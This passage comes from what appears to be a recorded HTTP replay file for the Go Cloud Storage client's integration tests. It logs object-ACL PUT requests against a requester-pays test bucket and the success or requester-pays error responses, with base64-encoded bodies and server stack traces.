m90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDMsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiJ9fQ==" - } - }, - { - "ID": "856a1fb5ffdb000f", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "463" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:09 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoFSnYuPlv_JejZ0nEjoWRXeLwj0MS-ddTlIaSOjaK5BudyIcIOeVDEeyFYWsF-GCZzMC0F7v-UEw0_lbsYBXCMZcLp6WZu_s3OPDREhpz2s3Txw-s" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBVT0ifQ==" - } - }, - { - "ID": "a74c3e1b541a9ffc", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "463" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:10 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ury3MiMZho3xaSHmFgwHNvKIHTa0_gZzfKvX8FW6iVGNkdSbXvmVypIUuIoKXDjd4rOXpFghdoJlES9A_iXUvZyfWAZLvWqR1w6sDRymrIARVd0dPE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTE1NDgwMDEvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBVT0ifQ==" - } - }, - { - "ID": "913da4fa24ea5f1f", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:10 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoKAxObyNBS_Mew44t3k1u80cLBGQW_I2ohrF96rIjZRxFscjGFrvsOHfLxw78rTRnpHmfA0uXnNz8T2FPc_Op16Lnn1YkfyOezSEhDBx11qZbinEE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6OTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6MjcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLnVwZGF0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5l